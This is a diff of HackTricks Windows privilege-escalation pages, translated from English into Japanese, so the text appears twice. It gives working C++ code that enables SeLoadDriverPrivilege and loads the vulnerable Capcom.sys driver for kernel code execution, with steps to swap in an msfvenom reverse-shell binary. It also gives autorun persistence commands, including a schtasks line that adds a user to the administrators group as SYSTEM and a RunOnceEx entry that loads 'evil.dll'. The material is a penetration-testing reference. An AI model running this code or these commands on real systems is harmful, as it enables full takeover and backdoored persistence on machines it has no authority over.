☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**最新バージョンの PEASS を入手したり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**telegram グループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)**に PR を提出してください。
## SeLoadDriverPrivilege -A very dangerous privilege to assign to any user - it allows the user to load kernel drivers and execute code with kernel privilges aka `NT\System`. See how `offense\spotless` user has this privilege: +どのユーザーにも割り当てるのは非常に危険な特権です。これにより、ユーザーはカーネルドライバをロードし、カーネル特権でコードを実行することができます(`NT\System`)。以下のスクリーンショットでは、`offense\spotless` ユーザーがこの特権を持っていることがわかります: ![](../../../.gitbook/assets/a8.png) -`Whoami /priv` shows the privilege is disabled by default: +`Whoami /priv` コマンドでは、この特権がデフォルトで無効になっていることがわかります: ![](../../../.gitbook/assets/a9.png) -However, the below code allows enabling that privilege fairly easily: +しかし、以下のコードを使用すると、この特権を簡単に有効にすることができます: {% code title="privileges.cpp" %} ```c @@ -32,82 +32,77 @@ However, the below code allows enabling that privilege fairly easily: int main() { - TOKEN_PRIVILEGES tp; - LUID luid; - bool bEnablePrivilege(true); - HANDLE hToken(NULL); - OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +TOKEN_PRIVILEGES tp; +LUID luid; +bool bEnablePrivilege(true); +HANDLE hToken(NULL); +OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); - if (!LookupPrivilegeValue( - NULL, // lookup privilege on local system - L"SeLoadDriverPrivilege", // privilege to lookup - &luid)) // receives LUID of privilege - { - printf("LookupPrivilegeValue error: %un", GetLastError()); - return FALSE; - } - tp.PrivilegeCount = 1; - tp.Privileges[0].Luid = luid; - - if (bEnablePrivilege) { - tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - } - - // Enable the privilege or disable all privileges. - if (!AdjustTokenPrivileges( - hToken, - FALSE, - &tp, - sizeof(TOKEN_PRIVILEGES), - (PTOKEN_PRIVILEGES)NULL, - (PDWORD)NULL)) - { - printf("AdjustTokenPrivileges error: %x", GetLastError()); - return FALSE; - } +if (!LookupPrivilegeValue( +NULL, // lookup privilege on local system +L"SeLoadDriverPrivilege", // privilege to lookup +&luid)) // receives LUID of privilege +{ +printf("LookupPrivilegeValue error: %un", GetLastError()); +return FALSE; +} +tp.PrivilegeCount = 1; +tp.Privileges[0].Luid = luid; - system("cmd"); - return 0; +if (bEnablePrivilege) { +tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +} + +// Enable the privilege or disable all privileges. +if (!AdjustTokenPrivileges( +hToken, +FALSE, +&tp, +sizeof(TOKEN_PRIVILEGES), +(PTOKEN_PRIVILEGES)NULL, +(PDWORD)NULL)) +{ +printf("AdjustTokenPrivileges error: %x", GetLastError()); +return FALSE; +} + +system("cmd"); +return 0; } ``` {% endcode %} -We compile the above, execute and the privilege `SeLoadDriverPrivilege` is now enabled: +上記をコンパイルして実行すると、特権 `SeLoadDriverPrivilege` が有効になります: ![](../../../.gitbook/assets/a10.png) -### Capcom.sys Driver Exploit +### Capcom.sys ドライバの脆弱性 -To further prove the `SeLoadDriverPrivilege` is dangerous, let's **exploit it to elevate privileges**. - -You can load a new driver using **NTLoadDriver:** +`SeLoadDriverPrivilege` が危険であることをさらに証明するために、特権を昇格させるためにそれを悪用してみましょう。 +**NTLoadDriver** を使用して新しいドライバをロードすることができます: ```cpp NTSTATUS NTLoadDriver( - _In_ PUNICODE_STRING DriverServiceName +_In_ PUNICODE_STRING DriverServiceName ); ``` +デフォルトでは、ドライバーサービス名は`\Registry\Machine\System\CurrentControlSet\Services\`の下にあるはずです。 -By default the driver service name should be under `\Registry\Machine\System\CurrentControlSet\Services\` +しかし、**ドキュメント**によると、**HKEY_CURRENT_USER**の下のパスも使用できるため、システム上で任意のドライバーをロードするためにそこでレジストリを変更することもできます。 +新しいレジストリで定義する必要がある関連するパラメータは次のとおりです。 -But, according with to the **documentation** you **could** also **use** paths under **HKEY\_CURRENT\_USER**, so you could **modify** a **registry** there to **load arbitrary drivers** on the system.\ -The relevant parameters that must be defined in the new registry are: - -* **ImagePath:** REG\_EXPAND\_SZ type value which specifies the driver path. In this context, the path should be a directory with modification permissions by the non-privileged user. -* **Type**: Value of type REG\_WORD in which the type of the service is indicated. For our purpose, the value should be defined as SERVICE\_KERNEL\_DRIVER (0x00000001). - -Therefore you could create a new registry in **`\Registry\User\\System\CurrentControlSet\MyService`** indicating in **ImagePath** the path to the driver and in **Type** the with value 1 and use those values on the exploit (you can obtain the User SID using: `Get-ADUser -Identity 'USERNAME' | select SID` or `(New-Object System.Security.Principal.NTAccount("USERNAME")).Translate([System.Security.Principal.SecurityIdentifier]).value` +* **ImagePath:** ドライバーパスを指定するREG_EXPAND_SZ型の値。このコンテキストでは、パスは特権のないユーザーによって変更許可が与えられたディレクトリである必要があります。 +* **Type**: サービスのタイプを示すREG_WORD型の値。私たちの目的のために、値はSERVICE_KERNEL_DRIVER(0x00000001)として定義されるべきです。 +したがって、**`\Registry\User\\System\CurrentControlSet\MyService`**に新しいレジストリを作成し、**ImagePath**にドライバーへのパス、**Type**に値1を指定し、それらの値をエクスプロイトで使用することができます(ユーザーSIDは次の方法で取得できます:`Get-ADUser -Identity 'USERNAME' | select SID`または`(New-Object System.Security.Principal.NTAccount("USERNAME")).Translate([System.Security.Principal.SecurityIdentifier]).value`)。 ```bash PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys"; PCWSTR pPathSourceReg = L"\\Registry\\User\\\\System\\CurrentControlSet\\MyService"; ``` +最初の変数は、被害者のシステム上にある脆弱な**Capcom.sys**ドライバの場所を示す文字列変数を宣言しています。2番目の変数は、使用されるサービス名を示す文字列変数です(任意のサービス名を使用できます)。 +注意:**ドライバはWindowsによって署名されている必要がある**ため、任意のドライバをロードすることはできません。しかし、**Capcom.sys**は**任意のコードを実行するために悪用でき、Windowsによって署名されています**。したがって、このドライバをロードして悪用することが目標です。 -The first one declares a string variable indicating where the vulnerable **Capcom.sys** driver is located on the victim system and the second one is a string variable indicating a service name that will be used (could be any service).\ -Note, that the **driver must be signed by Windows** so you cannot load arbitrary drivers. But, **Capcom.sys** **can be abused to execute arbitrary code and is signed by Windows**, so the goal is to load this driver and exploit it. - -Load the driver: - +ドライバをロードする: ```c #include "stdafx.h" #include @@ -124,139 +119,134 @@ NTSTATUS(NTAPI *NtUnloadDriver)(IN PUNICODE_STRING DriverServiceName); int main() { - TOKEN_PRIVILEGES tp; - LUID luid; - bool bEnablePrivilege(true); - HANDLE hToken(NULL); - OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +TOKEN_PRIVILEGES tp; +LUID luid; +bool bEnablePrivilege(true); +HANDLE hToken(NULL); +OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); - if (!LookupPrivilegeValue( - NULL, // lookup privilege on local system - L"SeLoadDriverPrivilege", // privilege to lookup - &luid)) // receives LUID of privilege - { - printf("LookupPrivilegeValue error: %un", GetLastError()); - return FALSE; - } - tp.PrivilegeCount = 1; - tp.Privileges[0].Luid = luid; - - if (bEnablePrivilege) { - tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - } - - // Enable the privilege or disable all privileges. - if (!AdjustTokenPrivileges( - hToken, - FALSE, - &tp, - sizeof(TOKEN_PRIVILEGES), - (PTOKEN_PRIVILEGES)NULL, - (PDWORD)NULL)) - { - printf("AdjustTokenPrivileges error: %x", GetLastError()); - return FALSE; - } +if (!LookupPrivilegeValue( +NULL, // lookup privilege on local system +L"SeLoadDriverPrivilege", // privilege to lookup +&luid)) // receives LUID of privilege +{ +printf("LookupPrivilegeValue error: %un", GetLastError()); +return FALSE; +} +tp.PrivilegeCount = 1; +tp.Privileges[0].Luid = luid; - //system("cmd"); - // below code for loading drivers is taken from https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/RDI/dll/NtLoadDriver.h - std::cout << "[+] Set Registry Keys" << std::endl; - NTSTATUS st1; - UNICODE_STRING pPath; - UNICODE_STRING pPathReg; - PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys"; - PCWSTR pPathSourceReg = L"\\Registry\\User\\\\System\\CurrentControlSet\\MyService"; - const char NTDLL[] = { 0x6e, 0x74, 0x64, 0x6c, 0x6c, 0x2e, 0x64, 0x6c, 0x6c, 0x00 }; - HMODULE hObsolete = GetModuleHandleA(NTDLL); - *(FARPROC *)&RtlInitUnicodeString = GetProcAddress(hObsolete, "RtlInitUnicodeString"); - *(FARPROC *)&NtLoadDriver = GetProcAddress(hObsolete, "NtLoadDriver"); - *(FARPROC *)&NtUnloadDriver = GetProcAddress(hObsolete, "NtUnloadDriver"); +if (bEnablePrivilege) { +tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +} - RtlInitUnicodeString(&pPath, pPathSource); - RtlInitUnicodeString(&pPathReg, pPathSourceReg); - st1 = NtLoadDriver(&pPathReg); - std::cout << "[+] value of st1: " << st1 << "\n"; - if (st1 == ERROR_SUCCESS) { - std::cout << "[+] Driver Loaded as Kernel..\n"; - std::cout << "[+] Press [ENTER] to unload driver\n"; - } +// Enable the privilege or disable all privileges. +if (!AdjustTokenPrivileges( +hToken, +FALSE, +&tp, +sizeof(TOKEN_PRIVILEGES), +(PTOKEN_PRIVILEGES)NULL, +(PDWORD)NULL)) +{ +printf("AdjustTokenPrivileges error: %x", GetLastError()); +return FALSE; +} - getchar(); - st1 = NtUnloadDriver(&pPathReg); - if (st1 == ERROR_SUCCESS) { - std::cout << "[+] Driver unloaded from Kernel..\n"; - std::cout << "[+] Press [ENTER] to exit\n"; - getchar(); - } +//system("cmd"); +// below code for loading drivers is taken from https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/RDI/dll/NtLoadDriver.h +std::cout << "[+] Set Registry Keys" << std::endl; +NTSTATUS st1; +UNICODE_STRING pPath; +UNICODE_STRING pPathReg; +PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys"; +PCWSTR pPathSourceReg = L"\\Registry\\User\\\\System\\CurrentControlSet\\MyService"; +const char NTDLL[] = { 0x6e, 0x74, 0x64, 0x6c, 0x6c, 0x2e, 0x64, 0x6c, 0x6c, 0x00 }; +HMODULE hObsolete = GetModuleHandleA(NTDLL); +*(FARPROC *)&RtlInitUnicodeString = GetProcAddress(hObsolete, "RtlInitUnicodeString"); +*(FARPROC *)&NtLoadDriver = GetProcAddress(hObsolete, "NtLoadDriver"); +*(FARPROC *)&NtUnloadDriver = GetProcAddress(hObsolete, "NtUnloadDriver"); - return 0; +RtlInitUnicodeString(&pPath, pPathSource); +RtlInitUnicodeString(&pPathReg, pPathSourceReg); +st1 = NtLoadDriver(&pPathReg); +std::cout << "[+] value of st1: " << st1 << "\n"; +if (st1 == ERROR_SUCCESS) { +std::cout << "[+] Driver Loaded as Kernel..\n"; +std::cout << "[+] Press [ENTER] to unload driver\n"; +} + +getchar(); +st1 = NtUnloadDriver(&pPathReg); +if (st1 == ERROR_SUCCESS) { +std::cout << "[+] Driver unloaded from Kernel..\n"; +std::cout << "[+] Press [ENTER] to exit\n"; +getchar(); +} + +return 0; } ``` - -Once the above code is compiled and executed, we can see that our malicious `Capcom.sys` driver gets loaded onto the victim system: +上記のコードがコンパイルされ、実行されると、悪意のある `Capcom.sys` ドライバが被害者のシステムにロードされることがわかります: ![](../../../.gitbook/assets/a11.png) -Download: [Capcom.sys - 10KB](https://firebasestorage.googleapis.com/v0/b/gitbook-28427.appspot.com/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LTyWsUdKa48PyMRyZ4I%2F-LTyZ9IkoofuWRxlNpUG%2FCapcom.sys?alt=media\&token=e4417fb3-f2fd-42ef-9000-d410bc6ceb54) +ダウンロード:[Capcom.sys - 10KB](https://firebasestorage.googleapis.com/v0/b/gitbook-28427.appspot.com/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LTyWsUdKa48PyMRyZ4I%2F-LTyZ9IkoofuWRxlNpUG%2FCapcom.sys?alt=media\&token=e4417fb3-f2fd-42ef-9000-d410bc6ceb54) -**No it's time to abuse the loaded driver to execute arbitrary code.** +**今度はロードされたドライバを悪用して任意のコードを実行します。** -You can download exploits from [https://github.com/tandasat/ExploitCapcom](https://github.com/tandasat/ExploitCapcom) and [https://github.com/zerosum0x0/puppetstrings](https://github.com/zerosum0x0/puppetstrings) and execute it on the system to elevate our privileges to `NT Authority\System`: +[https://github.com/tandasat/ExploitCapcom](https://github.com/tandasat/ExploitCapcom) と [https://github.com/zerosum0x0/puppetstrings](https://github.com/zerosum0x0/puppetstrings) からエクスプロイトをダウンロードし、システム上で実行して特権を `NT Authority\System` に昇格させることができます: ![](../../../.gitbook/assets/a12.png) -### No Gui +### GUI なし -If we **do not have GUI access** to the target, we will have to modify the **`ExploitCapcom.cpp`** code before compiling. Here we can edit line 292 and replace `C:\\Windows\\system32\\cmd.exe"` with, say, a reverse shell binary created with `msfvenom`, for example: `c:\ProgramData\revshell.exe`. - -Code: c +ターゲットには **GUI アクセスがない** 場合、コンパイル前に **`ExploitCapcom.cpp`** コードを変更する必要があります。ここでは、292行を編集し、`C:\\Windows\\system32\\cmd.exe"` を、例えば `msfvenom` で作成した逆シェルバイナリ(例:`c:\ProgramData\revshell.exe`)に置き換えることができます。 +コード:c ```c // Launches a command shell process static bool LaunchShell() { - TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe"); - PROCESS_INFORMATION ProcessInfo; - STARTUPINFO StartupInfo = { sizeof(StartupInfo) }; - if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE, - CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo, - &ProcessInfo)) - { - return false; - } +TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe"); +PROCESS_INFORMATION ProcessInfo; +STARTUPINFO StartupInfo = { sizeof(StartupInfo) }; +if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE, +CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo, +&ProcessInfo)) +{ +return false; +} - CloseHandle(ProcessInfo.hThread); - CloseHandle(ProcessInfo.hProcess); - return true; +CloseHandle(ProcessInfo.hThread); +CloseHandle(ProcessInfo.hProcess); +return true; } ``` +この例の`CommandLine`文字列は次のように変更されます: -The `CommandLine` string in this example would be changed to: - -Code: c - +コード:c ```c - TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe"); +TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe"); ``` +私たちは、生成した`msfvenom`ペイロードに基づいてリスナーを設定し、`ExploitCapcom.exe`を実行すると、逆シェル接続が受信されることを期待しています。逆シェル接続が何らかの理由でブロックされている場合は、バインドシェルまたはexec/addユーザーペイロードを試すことができます。 -We would set up a listener based on the `msfvenom` payload we generated and hopefully receive a reverse shell connection back when executing `ExploitCapcom.exe`. If a reverse shell connection is blocked for some reason, we can try a bind shell or exec/add user payload. +### 自動 -### Auto - -You can use [https://github.com/TarlogicSecurity/EoPLoadDriver/](https://github.com/TarlogicSecurity/EoPLoadDriver/) to **automatically enable** the **privilege**, **create** the **registry key** under HKEY\_CURRENT\_USER and **execute NTLoadDriver** indicating the registry key that you want to create and the path to the driver: +[https://github.com/TarlogicSecurity/EoPLoadDriver/](https://github.com/TarlogicSecurity/EoPLoadDriver/)を使用して、特権を**自動的に有効化**し、HKEY\_CURRENT\_USERの下に**レジストリキー**を**作成**し、作成するレジストリキーとドライバのパスを指定してNTLoadDriverを実行することができます。 ![](<../../../.gitbook/assets/image (289).png>) -Then, you will need to download a **Capcom.sys** exploit and use it to escalate privileges. +その後、特権昇格のために**Capcom.sys**のエクスプロイトをダウンロードして使用する必要があります。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md index ef84963f2..bf71584fc 100644 --- a/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md +++ b/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md @@ -1,36 +1,33 @@ -# Privilege Escalation with Autoruns +# Autorunsを使用した特権エスカレーション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もしあなたが**ハッキングのキャリア**に興味があり、アンハッカブルをハックしたいのであれば、**採用中です!**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} ## WMIC -**Wmic** can be used to run programs on **startup**. See which binaries are programmed to run is startup with: - +**Wmic**は、**起動時**にプログラムを実行するために使用できます。次のコマンドで、起動時にプログラムが設定されているバイナリを確認できます。 ```bash wmic startup get caption,command 2>nul & ^ Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl ``` +## スケジュールされたタスク -## Scheduled Tasks - -**Tasks** can be schedules to run with **certain frequency**. See which binaries are scheduled to run with: - +**タスク**は、**特定の頻度**で実行されるようにスケジュールできます。次のコマンドでスケジュールされたバイナリを確認します。 ```bash schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab" schtasks /query /fo LIST 2>nul | findstr TaskName @@ -41,11 +38,9 @@ Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,Tas #You can also write that content on a bat file that is being executed by a scheduled task schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgroup administrators user /add" ``` +## フォルダ -## Folders - -All the binaries located in the **Startup folders are going to be executed on startup**. The common startup folders are the ones listed a continuation, but the startup folder is indicated in the registry. [Read this to learn where.](privilege-escalation-with-autorun-binaries.md#startup-path) - +**スタートアップフォルダに配置されたすべてのバイナリは、起動時に実行されます**。一般的なスタートアップフォルダは以下にリストされていますが、スタートアップフォルダはレジストリで指定されています。[ここを読んで、場所を確認してください。](privilege-escalation-with-autorun-binaries.md#startup-path) ```bash dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul @@ -54,16 +49,15 @@ dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup" Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup" ``` - -## Registry +## レジストリ {% hint style="info" %} -Note: The **Wow6432Node** registry entry indicates that you are running a 64-bit Windows version. The operating system uses this key to display a separate view of HKEY\_LOCAL\_MACHINE\SOFTWARE for 32-bit applications that run on 64-bit Windows versions. +注意: **Wow6432Node** レジストリエントリは、64ビットのWindowsバージョンを実行していることを示しています。オペレーティングシステムは、64ビットのWindowsバージョンで実行される32ビットアプリケーションのために、HKEY\_LOCAL\_MACHINE\SOFTWAREの別のビューを表示するためにこのキーを使用します。 {% endhint %} ### Runs -**Commonly known** AutoRun registry: +**一般的に知られている** AutoRun レジストリ: * `HKLM\Software\Microsoft\Windows\CurrentVersion\Run` * `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce` @@ -77,9 +71,9 @@ Note: The **Wow6432Node** registry entry indicates that you are running a 64-bit * `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce` * `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx` -Run and RunOnce registry keys cause programs to run each time that a user logs on. The data value for a key is a command line no longer than 260 characters. +RunおよびRunOnceレジストリキーは、ユーザーがログオンするたびにプログラムを実行させます。キーのデータ値は、260文字を超えないコマンドラインです。 -**Service runs** (can control automatic startup of services during boot): +**Service runs** (起動時にサービスの自動起動を制御できます): * `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce` * `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce` @@ -95,16 +89,15 @@ Run and RunOnce registry keys cause programs to run each time that a user logs o * `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx` * `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx` -It's not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"` +これは、Windows Vista以降ではデフォルトで作成されません。レジストリの実行キーのエントリは、プログラムを直接参照するか、依存関係としてリストすることができます。たとえば、RunOnceExを使用してログオン時にDLLをロードすることができます: `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"` {% hint style="info" %} -**Exploit 1**: If you can write inside any of the mentioned registry inside **HKLM** you can escalate privileges when a different user logs in. +**Exploit 1**: **HKLM** 内のいずれかのレジストリに書き込むことができれば、別のユーザーがログインすると特権をエスカレーションできます。 {% endhint %} {% hint style="info" %} -**Exploit 2**: If you can overwrite any of the binaries indicated on any of the registry inside **HKLM** you can modify that binary with a backdoor when a different user logs in and escalate privileges. +**Exploit 2**: **HKLM** 内のいずれかのレジストリに示されているバイナリを上書きすることができれば、別のユーザーがログインするとそのバイナリをバックドアで変更し、特権をエスカレーションできます。 {% endhint %} - ```bash #CMD reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run @@ -160,20 +153,18 @@ Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\Ru Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\RunOnceEx' Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx' ``` - -### Startup Path +### スタートアップパス * `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders` * `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders` * `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders` * `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders` -Any shortcut created to the location pointed by subkey Startup will launch the service during logon/reboot. Start up location is specified both at Local Machine and Current User. +サブキーのスタートアップが指す場所に作成されたショートカットは、ログオン/再起動時にサービスを起動します。スタートアップの場所は、ローカルマシンと現在のユーザーの両方で指定されます。 {% hint style="info" %} -If you can overwrite any \[User] Shell Folder under **HKLM**, you will e able to point it to a folder controlled by you and place a backdoor that will be executed anytime a user logs in the system escalating privileges. +\[User] Shell Folderのいずれかを**HKLM**で上書きできれば、それを自分が制御するフォルダに指定し、バックドアを配置して特権を昇格させることができます。 {% endhint %} - ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup" reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup" @@ -185,167 +176,162 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' 